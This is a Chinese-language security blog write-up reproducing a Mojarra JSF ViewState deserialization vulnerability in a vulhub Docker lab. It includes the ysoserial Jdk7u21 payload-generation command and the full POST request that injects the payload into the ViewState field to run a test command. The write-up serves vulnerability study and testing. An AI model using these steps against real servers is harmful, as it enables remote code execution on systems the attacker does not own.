Mojarra JSF ViewState 反序列化漏洞复现

admin 2021年5月14日03:31:17评论402 views字数 1232阅读4分6秒阅读模式

漏洞概述

 

JavaServer Faces (JSF) 是一种用于构建 Web 应用程序的标准,Mojarra是一个实现了JSF的框架。在其2.1.29-082.0.11-04版本之前,没有对JSF中的ViewState进行加密,进而导致攻击者可以构造恶意的序列化ViewState对象对服务器进行攻击。

 

环境搭建

 

这里使用vulhub来搭建

https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md


进入目录并启动环境

cd vulhub-master/mojarra/jsf-viewstate-deserialization/docker-compose up -d

Mojarra JSF ViewState 反序列化漏洞复现

访问http://your-ip:8080即可查看到demo页面。

Mojarra JSF ViewState 反序列化漏洞复现


漏洞复现

 

我们使用ysoserial的Jdk7u21利用链来生成poc

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0

Mojarra JSF ViewState 反序列化漏洞复现

再进行url编码

提交表单,修改其中javax.faces.ViewState字段的值为上述Payload

POST /index.xhtml HTTP/1.1
Host: 192.168.204.138:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 615
Origin: http://192.168.204.138:8080
Connection: close
Referer: http://192.168.204.138:8080/index.xhtml
Cookie: JSESSIONID=1o6ywk3nlp7bntnbcw08fm0rg
Upgrade-Insecure-Requests: 1


j_idt6=j_idt6&j_idt6%3Aj_idt7=&j_idt6%3Aj_idt8=Hello&javax.faces.ViewState=[payload]

Mojarra JSF ViewState 反序列化漏洞复现

docker exec -it 72d99f486d69 /bin/bash

进入镜像看看,成功执行

Mojarra JSF ViewState 反序列化漏洞复现


修复建议

 

升级到安全版本

 


本文始发于微信公众号(锋刃科技):Mojarra JSF ViewState 反序列化漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月14日03:31:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mojarra JSF ViewState 反序列化漏洞复现http://cn-sec.com/archives/254401.html

发表评论

匿名网友 填写信息